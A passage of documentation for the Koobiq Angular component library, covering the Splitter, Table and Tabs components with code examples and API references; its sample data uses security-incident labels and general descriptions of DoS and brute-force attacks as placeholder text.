            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="100">
                <div class="example-splitter-panel-content">Panel 2</div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        kbq-toggle {
            align-self: center;
        }

        .example-splitter {
            height: 200px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            flex: 1;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterDisabledExample {
    protected readonly disabled = signal(true);
}
```

#### Size and constraints

Three inputs set the size of a panel:

| Input     | Description                                                   |
| --------- | ------------------------------------------------------------- |
| `size`    | Initial size. Panels without `size` share the remaining space |
| `minSize` | Smallest size the panel can be reduced to                     |
| `maxSize` | Largest size the panel can be expanded to                     |

The panel size is set in pixels, percentages, `vw`, or `vh`:

```html
<kbq-splitter-panel size="30%" minSize="240px" maxSize="50vw">...</kbq-splitter-panel>
```

When a neighboring panel reaches its constraint, the separator keeps moving: the panels after it give up space, so the next separator moves too.

**Example: Splitter constraints** (`splitter-constraints`)

```ts splitter-constraints-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-constraints-example',
    imports: [KbqSplitter, KbqSplitterPanel],
    template: `
        <kbq-splitter class="example-splitter" appearance="transparent">
            <kbq-splitter-panel minSize="125">
                <div class="example-splitter-panel-content layout-margin-right-s">
                    Panel 1
                    <small>min: 125px</small>
                </div>
            </kbq-splitter-panel>
            <kbq-splitter-panel size="30%" minSize="150" maxSize="30vw">
                <div class="example-splitter-panel-content layout-margin-left-s layout-margin-right-s">
                    Panel 2
                    <small>size: 30%</small>
                    <small>min: 150px, max: 30vw</small>
                </div>
            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="125">
                <div class="example-splitter-panel-content layout-margin-left-s">
                    Panel 3
                    <small>min: 125px</small>
                </div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }

        .example-splitter {
            height: 200px;
        }

        .example-splitter-panel-content {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-content: center;
            justify-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
            background-color: var(--kbq-background-bg-secondary);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterConstraintsExample {}
```

#### Snapping

The `snapSizes` input sets the sizes a panel snaps to. If either panel beside a separator has `snapSizes`, the `minSize` and `maxSize` of both panels also become snap points. The separator follows the pointer during a drag. The panel snaps after the drag ends.

The `snapTolerance` input sets the distance from a snap point at which a panel snaps to it. The default is 32 pixels and is set by `kbqSplitterOptionsProvider`.

**Example: Splitter snap** (`splitter-snap`)

```ts splitter-snap-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-snap-example',
    imports: [KbqSplitter, KbqSplitterPanel],
    template: `
        <kbq-splitter class="example-splitter">
            <kbq-splitter-panel>
                <div class="example-splitter-panel-content">Panel 1</div>
            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="200" maxSize="500" snapTolerance="100" [snapSizes]="[300, 400]">
                <div class="example-splitter-panel-content">
                    Panel 2
                    <small>snap: 300px, 400px</small>
                    <small>tolerance: 100px</small>
                </div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }

        .example-splitter {
            height: 200px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            display: flex;
            flex-direction: column;
            flex: 1;
            justify-content: center;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterSnapExample {}
```

#### Collapsed panel

The `collapsible` input lets a panel be collapsed by dragging, and `collapsedSize` sets the width of the collapsed strip. Such a panel has no sizes in between: a drag stops at `minSize`, and pulling further collapses it.

When `collapsedSize` is zero, the panel is completely hidden and no separator remains to restore it. The panel can be expanded through the `[(collapsed)]` two-way binding, for example with a button or keyboard shortcut.

**Example: Splitter collapsible panel** (`splitter-collapsible`)

```ts splitter-collapsible-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'splitter-collapsible-example',
    imports: [KbqSplitter, KbqSplitterPanel, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle [(ngModel)]="sidebarCollapsed">Sidebar collapsed</kbq-toggle>
        <kbq-toggle [(ngModel)]="terminalCollapsed">Terminal collapsed</kbq-toggle>

        <kbq-splitter class="example-splitter layout-margin-top-l">
            <kbq-splitter-panel minSize="125" size="150" maxSize="200" collapsible [(collapsed)]="sidebarCollapsed">
                <div class="example-splitter-panel-content">
                    Sidebar
                    @if (!sidebarCollapsed()) {
                        <small>Drag left to collapse</small>
                    }
                </div>
            </kbq-splitter-panel>
            <kbq-splitter-panel>
                <kbq-splitter class="example-splitter-nested" orientation="vertical">
                    <kbq-splitter-panel minSize="100">
                        <div class="example-splitter-panel-content">Editor</div>
                    </kbq-splitter-panel>
                    <kbq-splitter-panel
                        size="100"
                        minSize="75"
                        collapsible
                        collapsedSize="30"
                        [(collapsed)]="terminalCollapsed"
                    >
                        <div class="example-splitter-panel-content">
                            Terminal
                            @if (!terminalCollapsed()) {
                                <small>Drag bottom to collapse</small>
                            }
                        </div>
                    </kbq-splitter-panel>
                </kbq-splitter>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding: var(--kbq-size-l);
        }

        .example-splitter {
            height: 300px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            display: flex;
            flex-direction: column;
            flex: 1;
            justify-content: center;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }

        .example-splitter-nested {
            flex: 1;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterCollapsibleExample {
    protected readonly terminalCollapsed = model(false);
    protected readonly sidebarCollapsed = model(false);
}
```

#### Nested areas

One of the panels can hold nested resizable areas.

**Example: Splitter nested** (`splitter-nested`)

```ts splitter-nested-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-nested-example',
    imports: [KbqSplitter, KbqSplitterPanel],
    template: `
        <kbq-splitter class="example-splitter">
            <kbq-splitter-panel maxSize="200">
                <div class="example-splitter-panel-content">Sidebar</div>
            </kbq-splitter-panel>
            <kbq-splitter-panel>
                <kbq-splitter class="example-splitter-nested" orientation="vertical">
                    <kbq-splitter-panel minSize="100">
                        <kbq-splitter class="example-splitter-nested">
                            <kbq-splitter-panel minSize="100">
                                <div class="example-splitter-panel-content">Editor 1</div>
                            </kbq-splitter-panel>
                            <kbq-splitter-panel minSize="100">
                                <div class="example-splitter-panel-content">Editor 2</div>
                            </kbq-splitter-panel>
                        </kbq-splitter>
                    </kbq-splitter-panel>
                    <kbq-splitter-panel size="50">
                        <div class="example-splitter-panel-content">Terminal</div>
                    </kbq-splitter-panel>
                </kbq-splitter>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding: var(--kbq-size-l);
        }

        .example-splitter {
            height: 300px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            flex: 1;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }

        .example-splitter-nested {
            flex: 1;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterNestedExample {}
```

#### Keyboard interaction

The separator is placed in the tab order between the content of neighboring panels.

| Key                      | Behavior                                                                                                         |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------- |
| Left Arrow \ Right Arrow | Moves a vertical separator in the direction of the arrow.                                                        |
| Up Arrow \ Down Arrow    | Moves a horizontal separator in the direction of the arrow.                                                      |
| Home                     | Sets the smallest available size of the panel. A panel already at its minimum collapses, when it is collapsible. |
| End                      | Sets the largest available size of the panel, squeezing the neighboring panels when needed.                      |
| Enter                    | Collapses and expands the panel, when `collapsible` is set.                                                      |
| F6 \ Shift + F6          | Moves focus to the next or the previous panel.                                                                   |
| Double-click             | Resets the sizes to the ones the panels declare. A second double-click sets the panel to its minimum size.       |

### API

#### Components

##### KbqSplitter (component)

Splits an area into panels the user can resize by dragging the separators between them.

Panels must be direct children of the splitter — a wrapper element around them hides them from the group.

```html
<kbq-splitter>
    <kbq-splitter-panel [minSize]="100">…</kbq-splitter-panel>
    <kbq-splitter-panel>…</kbq-splitter-panel>
</kbq-splitter>
```

```ts
@Component({ selector: 'kbq-splitter', exportAs: 'kbqSplitter' })
class KbqSplitter implements KbqSplitterGroup {
    readonly orientation = input<KbqSplitterOrientation>('horizontal');
    readonly appearance = input<KbqSplitterAppearance>(
        this.options.appearance
    );
    readonly disabled = input<boolean>(false);
    readonly layout = model<number[] | null>(null);
}
```

- `[orientation]`: `KbqSplitterOrientation` — Direction the panels are laid out in.
- `[appearance]`: `KbqSplitterAppearance` — How the separators are drawn. Defaults to the app-wide `KBQ_SPLITTER_OPTIONS`.
- `[disabled]`: `boolean` — Whether the panels can be resized at all.
- `[(layout)]`: `number[] | null` — Sizes of the panels as percentages of the splitter, in panel order.

  Two-way and, while `null`, derived from what the panels declare — so a host reads it to persist a
  layout, writes it to restore one, and shares the same signal between two splitters to keep their panels
  the same width. Setting it back to `null` returns the panels to their declared sizes.

##### KbqSplitterPanel (component)

A resizable region of a `KbqSplitter`.

Every panel but the last renders the separator that follows it, so the separator sits between the two
panels it resizes in the tab order as well as on screen.

```ts
@Component({ selector: 'kbq-splitter-panel', exportAs: 'kbqSplitterPanel' })
class KbqSplitterPanel implements KbqSplitterPanelRef {
    readonly id = input<string>(
        inject(_IdGenerator).getId('kbq-splitter-panel-')
    );
    readonly size = input<KbqSplitterSize | undefined>();
    readonly minSize = input<KbqSplitterSize | undefined>();
    readonly maxSize = input<KbqSplitterSize | undefined>();
    readonly snapSizes = input<readonly KbqSplitterSize[]>([]);
    readonly snapTolerance = input<number>(this.options.snapTolerance);
    readonly collapsible = input<boolean>(false);
    readonly collapsedSize = input<KbqSplitterSize>(0);
    readonly collapsed = model<boolean>(false);
    readonly separatorAriaLabel = input<string | undefined>();
}
```

- `[id]`: `string` — Identifies the panel to the `aria-controls` of its own separator, and gives a host something to point
  `aria-labelledby` or a fragment link at. Generated when omitted.
- `[size]`: `KbqSplitterSize | undefined` — Size the panel starts at, in pixels (`240`, `'240px'`), as a share of the splitter (`'30%'`) or as a share
  of the viewport (`'30vw'`, `'30vh'`). Panels that leave it unset share whatever the sized ones did not claim.
- `[minSize]`: `KbqSplitterSize | undefined` — Smallest size the panel may be dragged to. Defaults to `0`.
- `[maxSize]`: `KbqSplitterSize | undefined` — Largest size the panel may be dragged to. Unbounded when omitted.
- `[snapSizes]`: `readonly KbqSplitterSize[]` — Sizes a drag is pulled onto when it is released near one. `minSize` and `maxSize` become snap points too
  as soon as either panel around a separator declares any snap size.

  The layout the panels start at settles onto them as well, so a splitter is never handed to the user
  sitting between two of its own snap points.
- `[snapTolerance]`: `number` — How close to one of this panel's `snapSizes` a drag has to be released for it to be pulled in, in
  pixels. Raise it to make the snap points reach further — past half the gap between two of them the panel
  can only ever land on a snap size.

  Defaults to the app-wide `KBQ_SPLITTER_OPTIONS`.
- `[collapsible]`: `boolean` — Whether dragging the panel past half of its `minSize` collapses it to `collapsedSize` instead of
  stopping at the minimum.
- `[collapsedSize]`: `KbqSplitterSize` — Size the panel takes while collapsed. `0` — the default — hides it completely.
- `[(collapsed)]`: `boolean` — Whether the panel is collapsed. Two-way, so a host can collapse and restore the panel itself — which is
  the only way back for a panel whose `collapsedSize` is `0` and which therefore has no separator to grab.
- `[separatorAriaLabel]`: `string | undefined` — Accessible name of the separator that follows the panel; falls back to the localized default.

#### Functions

##### kbqSplitterOptionsProvider (function)

Overrides the default splitter options within the given injector scope — the whole application from
`bootstrapApplication`, or one subtree from the `providers` of a component or a route.

```ts
function kbqSplitterOptionsProvider(
    options: Partial<KbqSplitterOptions>
): Provider;
```

##### resizeSplitterSizesAt (function)

Moves the boundary that follows `index` by `delta` pixels and returns the new sizes.

The panels on one side of the boundary take the delta and the ones on the other side give it up, each walking
outwards from the boundary: a panel sitting at its limit hands the remainder to the next one instead of
stopping the drag. Walking outwards on the taking side too is what keeps a boundary reachable when the panel
right beside it is pinned — otherwise a neighbour at its maximum would freeze a boundary that the panels
further out could still move, and the drag would do nothing at all.

```ts
function resizeSplitterSizesAt(
    sizes: readonly number[],
    index: number,
    delta: number,
    min: readonly number[],
    max: readonly number[]
): number[];
```

#### Types

##### KbqSplitterAppearance (type)

How a splitter draws its separators.

- `divider` — a line between the panels, the default.
- `transparent` — nothing until the pointer reaches the separator, which then gives itself away by the cursor.
- `handle` — a grip centred on the boundary.

```ts
type KbqSplitterAppearance = 'divider' | 'transparent' | 'handle';
```

##### KbqSplitterOptions (type)

Settings a whole application shares, rather than something a single splitter decides.

Only what a product picks once belongs here: how its separators look, and how far a snap size reaches. The
sizes and limits of the panels are a property of one layout and stay on the panels themselves.

```ts
type KbqSplitterOptions = {
    appearance: KbqSplitterAppearance;
    snapTolerance: number;
};
```

- `appearance`: `KbqSplitterAppearance` — How the separators are drawn.
- `snapTolerance`: `number` — How close to a snap size a drag has to be released for it to be pulled in, in pixels.

##### KbqSplitterOrientation (type)

Direction the panels of a splitter are laid out in.

```ts
type KbqSplitterOrientation = 'horizontal' | 'vertical';
```

##### KbqSplitterSize (type)

Size of a splitter panel: a number of pixels, a `<number>px` string, a `<number>%` share of the splitter's own
size along the resize axis, or a `<number>vw` / `<number>vh` share of the viewport's width / height. A size in
any other unit is ignored.

```ts
type KbqSplitterSize = number | string;
```

##### KbqSplitterSnapPoint (type)

A size a drag is pulled onto, with the distance the release has to be within for the pull to happen.

```ts
type KbqSplitterSnapPoint = {
    size: number;
    tolerance: number;
};
```

#### Constants

##### KBQ_SPLITTER_OPTIONS (const)

Injection token holding the current `KbqSplitterOptions`.

```ts
const KBQ_SPLITTER_OPTIONS: InjectionToken<KbqSplitterOptions>;
```

## Table

- Entry point: `@koobiq/components/table`
- NgModule: `KbqTableModule`
- Page: https://koobiq.io/en/components/table/overview

### Overview

A table is similar to a grid but simpler in structure. Users cannot sort columns or change their widths. Only standard HTML table capabilities are available.

**Example: Table** (`table-overview`)

```ts table-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'table-overview-example',
    imports: [
        KbqTableModule
    ],
    template: `
        <table kbq-table style="margin-bottom: 32px">
            <thead>
                <tr>
                    <th>Client</th>
                    <th>Event</th>
                    <th>Registered</th>
                </tr>
            </thead>
            <tbody>
                @for (row of rows; track $index) {
                    <tr>
                        <td>{{ row.client }}</td>
                        <td>{{ row.event }}</td>
                        <td>{{ row.registered }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TableOverviewExample {
    protected readonly rows = [
        { client: 'Company 1', event: 'Identity Theft', registered: '8 Jul, 14:31' },
        { client: 'Company 2', event: 'DDoS', registered: '4 Dec, 16:11' },
        { client: 'Company 1', event: 'HIPS Alert', registered: '4 Dec, 16:11' },
        { client: 'Company 3', event: 'Spam Attack', registered: '4 Dec, 16:11' },
        { client: 'Company 2', event: 'Vulnerability Exploitation', registered: '4 Dec, 16:11' },
        { client: 'Company 1', event: 'Complex Attack', registered: '4 Dec, 16:11' }
    ];
}
```

By default, text in cells wraps to a new line:

**Example: Table full width** (`table-full-width`)

```ts table-full-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'table-full-width-example',
    imports: [
        KbqTableModule
    ],
    templateUrl: 'table-full-width-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TableFullWidthExample {}
```

```html table-full-width-example.html
<table kbq-table style="margin-bottom: 32px; width: 100%">
    <thead>
        <tr>
            <th style="min-width: 140px">Incident</th>
            <th>Description, or a long header text that wraps to the next line</th>
            <th>Type</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>INC–20180823–05</td>
            <td>
                One or more failed attempts to open a VPN connection from 10.0.210.126 to host 10.0.221.202 within one
                hour
            </td>
            <td>EXT. Use of phishing resources (phishingAttacks)</td>
        </tr>
        <tr>
            <td>INC–20180601–5</td>
            <td>10.0.64.224: average memory usage over the last 5 minutes: 49% in use</td>
            <td>EXT. IMSI change on the SIM card, IMEI change on the phone (sim)</td>
        </tr>
        <tr>
            <td>INC–20180926–31</td>
            <td>
                Zone example.com was transferred from the domain DNS server ns1.example.com to the untrusted host
                10.0.0.2 over an AXFR request
            </td>
            <td>INT. Use of malicious software (malware)</td>
        </tr>
        <tr>
            <td>INC–20190622–238</td>
            <td>An attempt to list the processes running on host ns1.example.com was detected</td>
            <td>EXT. Hosting of a malicious resource on the Internet (maliciousResources)</td>
        </tr>
    </tbody>
</table>
```

#### Borders

Use `border` to draw a line under every row.

In most cases, borders should be avoided, but sometimes they help support the layout when a table has gaps due to cell content varying between long and short text.

Borders are also useful in tables with complex structures — for example, when rows are grouped or some cells are merged vertically.

**Example: Table with borders** (`table-with-borders`)

```ts table-with-borders-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'table-with-borders-example',
    imports: [
        KbqTableModule
    ],
    template: `
        <table style="margin-bottom: 32px; width: 100%" kbq-table [border]="true">
            <thead>
                <tr>
                    <th>File</th>
                    <th style="width: 110px">Owner</th>
                    <th style="width: 110px">Modified</th>
                    <th style="width: 50px">Size</th>
                </tr>
            </thead>
            <tbody>
                @for (row of rows; track row.name) {
                    <tr>
                        <td>{{ row.name }}</td>
                        <td>{{ row.owner }}</td>
                        <td>{{ row.modified }}</td>
                        <td>{{ row.size }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TableWithBordersExample {
    protected readonly rows = [
        { name: '000.txt', owner: 'User 1', modified: '27 May 2024', size: '17 KB' },
        { name: 'The Big Book of Poems and Fairy Tales', owner: 'User 2', modified: '1 Dec 2023', size: '998 KB' },
        { name: 'notes.doc', owner: 'User 3', modified: '7 Mar 1993', size: '502 KB' },
        { name: 'recipe.txt', owner: 'User 4', modified: '24 Aug 2022', size: '128 KB' }
    ];
}
```

#### Disable hover

Use `disableHover` to remove the background color change on row hover. This is useful when rows are not interactive and the hover highlight would be misleading.

**Example: Table without hover** (`table-disable-hover`)

```ts table-disable-hover-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'table-disable-hover-example',
    imports: [KbqTableModule],
    template: `
        <table kbq-table disableHover>
            <thead>
                <tr>
                    <th>File</th>
                    <th>Owner</th>
                    <th>Modified</th>
                </tr>
            </thead>
            <tbody>
                @for (row of rows; track row.name) {
                    <tr>
                        <td>{{ row.name }}</td>
                        <td>{{ row.owner }}</td>
                        <td>{{ row.modified }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TableDisableHoverExample {
    protected readonly rows = [
        { name: 'document.txt', owner: 'User 1', modified: '27 May 2024' },
        { name: 'report-2023.pdf', owner: 'User 2', modified: '1 Dec 2023' },
        { name: 'notes.doc', owner: 'User 3', modified: '7 Mar 2024' },
        { name: 'archive.zip', owner: 'User 4', modified: '24 Aug 2022' }
    ];
}
```

#### Sticky header

If a table has a lot of rows, use `stickyHeader` to keep the column names visible while you scroll down. This way you always see what each column means, even after scrolling.

**Example: Table with sticky header** (`table-sticky-header`)

```ts table-sticky-header-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqLuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KbqRelativeShortDatePipe } from '@koobiq/components/core';
import { KbqTableModule } from '@koobiq/components/table';
import { DateTime } from 'luxon';

@Component({
    selector: 'table-sticky-header-example',
    imports: [KbqTableModule, KbqLuxonDateModule, KbqRelativeShortDatePipe],
    template: `
        <div style="max-height: 240px; overflow: auto;">
            <table kbq-table stickyHeader style="width: 100%">
                <thead>
                    <tr>
                        <th>File</th>
                        <th>Owner</th>
                        <th>Modified</th>
                    </tr>
                </thead>
                <tbody>
                    @for (row of rows; track row.name) {
                        <tr>
                            <td>{{ row.name }}</td>
                            <td>{{ row.owner }}</td>
                            <td>{{ row.modified | kbqRelativeShortDate }}</td>
                        </tr>
                    }
                </tbody>
            </table>
        </div>
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TableStickyHeaderExample {
    readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    readonly value = this.adapter.today();

    protected readonly rows = [
        { name: 'document.txt', owner: 'User 1', modified: this.value },
        { name: 'report-2023.pdf', owner: 'User 2', modified: this.value },
        { name: 'notes.doc', owner: 'User 3', modified: this.value },
        { name: 'archive.zip', owner: 'User 4', modified: this.value },
        { name: 'presentation.pptx', owner: 'User 5', modified: this.value },
        { name: 'budget.xlsx', owner: 'User 6', modified: this.value },
        { name: 'photo.png', owner: 'User 7', modified: this.value },
        { name: 'contract.pdf', owner: 'User 8', modified: this.value },
        { name: 'summary.doc', owner: 'User 9', modified: this.value },
        { name: 'backup.zip', owner: 'User 10', modified: this.value }
    ];
}
```

The pinned header is opaque and covers the top of the scroll area. When focus moves to a control above the visible part, the browser scrolls it to that top edge — under the header.

The table accounts for the header height on its own cells and the controls inside them. If the scroll container holds other content as well, set `scroll-padding-block-start` on the container to the header height.

The header color comes from `--kbq-table-sticky-header-background`. It defaults to the page background. For a table on a card, in a modal or in a sidepanel, point the token at that surface:

```scss
--kbq-table-sticky-header-background: var(--kbq-background-card);
```

### API

#### Components

##### KbqTable (component)

A styling layer over a native `<table>`: it applies the library's spacing, typography and colors and
leaves the semantics to the platform. Sorting, resizing and virtual scrolling are out of scope — only
standard HTML table capabilities are available.

```ts
@Component({ selector: 'table[kbq-table]', exportAs: 'kbqTable' })
class KbqTable {
    readonly border = input<boolean>(false);
    readonly disableHover = input<boolean>(false);
    readonly stickyHeader = input<boolean>(false);
}
```

- `[border]`: `boolean` — Whether a line is drawn under every body row. Toggles the `kbq-table_bordered` class. Defaults to `false`.
- `[disableHover]`: `boolean` — Whether the background change on row hover is suppressed. Toggles the `kbq-table_disable-hover`
  class. Use it when rows are not interactive and the highlight would be misleading. Defaults to `false`.
- `[stickyHeader]`: `boolean` — Whether the header stays visible while the table scrolls. Toggles the `kbq-table_sticky-header`
  class. Defaults to `false`.

## Tabs

- Entry point: `@koobiq/components/tabs`
- NgModule: `KbqTabsModule`
- Page: https://koobiq.io/en/components/tabs/overview

### Overview

Tabs divide content into groups and allow you to switch between them without reloading the page.

**Example: Tabs overview** (`tabs-overview`)

```ts tabs-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-overview-example',
    imports: [KbqTabsModule],
    template: `
        <kbq-tab-group>
            <kbq-tab label="BruteForce">BruteForce tab content</kbq-tab>
            <kbq-tab label="Complex attack">Complex attack tab content</kbq-tab>
            <kbq-tab label="DDoS">DDoS tab content</kbq-tab>
            <kbq-tab label="DoS">DoS tab content</kbq-tab>
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsOverviewExample {}
```

#### States

##### Vertical tabs

You can place a long list of tabs vertically so all elements can be visible without scrolling. To enable the function, use the `vertical` attribute.

**Example: Tabs vertical** (`tabs-vertical`)

```ts tabs-vertical-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'tabs-vertical-example',
    imports: [
        KbqTabsModule,
        KbqIconModule,
        KbqTitleModule
    ],
    template: `
        <div class="example-tabs-vertical">
            <kbq-tab-group vertical>
                @for (tab of tabs; track tab) {
                    <kbq-tab>
                        <ng-template kbq-tab-label>
                            <i kbq-icon="kbq-bug_16"></i>
                            <div class="example-tab-label" kbq-title>{{ tab }}</div>
                        </ng-template>
                        <p>
                            In computing [{{ $index }}], a denial-of-service attack (DoS attack) is a cyber-attack in
                            which the perpetrator seeks to make a machine or network resource unavailable to its
                            intended users by temporarily or indefinitely disrupting services of a host connected to a
                            network. Denial of service is typically accomplished by flooding the targeted machine or
                            resource with superfluous requests in an attempt to overload systems and prevent some or all
                            legitimate requests from being fulfilled. The range of attacks varies widely, spanning from
                            inundating a server with millions of requests to slow its performance, overwhelming a server
                            with a substantial amount of invalid data, to submitting requests with an illegitimate IP
                            address.
                        </p>
                        <p>
                            In a distributed denial-of-service attack [{{ $index }}] (DDoS attack), the incoming traffic
                            flooding the victim originates from many different sources. More sophisticated strategies
                            are required to mitigate this type of attack; simply attempting to block a single source is
                            insufficient as there are multiple sources. A DoS or DDoS attack is analogous to a group of
                            people crowding the entry door of a shop, making it hard for legitimate customers to enter,
                            thus disrupting trade and losing the business money. Criminal perpetrators of DoS attacks
                            often target sites or services hosted on high-profile web servers such as banks or credit
                            card payment gateways. Revenge and blackmail, as well as hacktivism, can motivate these
                            attacks.
                        </p>
                    </kbq-tab>
                }
            </kbq-tab-group>
        </div>
    `,
    styleUrls: ['tabs-vertical-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class TabsVerticalExample {
    readonly tabs = [
        'Complex Attack',
        'HIPS alert',
        'IDS/IPS Alert',
        'Vulnerability Exploitation'
    ];
}
```

```css tabs-vertical-example.css
.example-tabs-vertical .kbq-tab-group_vertical {
    height: 220px;
}

.example-tabs-vertical .kbq-tab-header {
    max-width: 140px;
}

.example-tabs-vertical .kbq-tab-body__wrapper {
    padding-left: var(--kbq-size-xl);
}

.example-tabs-vertical .example-tab-label {
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
```

You can use untitled vertical tabs. In this case, add a tooltip for icons to clarify the name of each section.

**Example: Tabs vertical icons** (`tabs-vertical-icons`)

```ts tabs-vertical-icons-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-vertical-icons-example',
    imports: [
        KbqTabsModule,
        KbqIconModule
    ],
    template: `
        <div class="example-tabs-vertical-icons">
            <kbq-tab-group vertical>
                <kbq-tab tooltipTitle="BruteForce" empty [tooltipPlacement]="PopUpPlacements.Left">
                    <ng-template kbqTabLabel iconOnly>
                        <i kbq-icon="kbq-bug_16"></i>
                    </ng-template>
                    <p>
                        In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator
                        seeks to make a machine or network resource unavailable to its intended users by temporarily or
                        indefinitely disrupting services of a host connected to a network. Denial of service is
                        typically accomplished by flooding the targeted machine or resource with superfluous requests in
                        an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.
                        The range of attacks varies widely, spanning from inundating a server with millions of requests
                        to slow its performance, overwhelming a server with a substantial amount of invalid data, to
                        submitting requests with an illegitimate IP address.
                    </p>
                    <p>
                        In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the
                        victim originates from many different sources. More sophisticated strategies are required to
                        mitigate this type of attack; simply attempting to block a single source is insufficient as
                        there are multiple sources. A DoS or DDoS attack is analogous to a group of people crowding the
                        entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade
                        and losing the business money. Criminal perpetrators of DoS attacks often target sites or
                        services hosted on high-profile web servers such as banks or credit card payment gateways.
                        Revenge and blackmail, as well as hacktivism, can motivate these attacks.
                    </p>
                </kbq-tab>
                <kbq-tab tooltipTitle="Complex Attack" empty [tooltipPlacement]="PopUpPlacements.Left">
                    <ng-template kbqTabLabel iconOnly>
                        <i kbq-icon="kbq-bug_16"></i>
                    </ng-template>
                    <p>
                        In cryptography, a brute-force attack consists of an attacker submitting many passwords or
                        passphrases with the hope of eventually guessing correctly. The attacker systematically checks
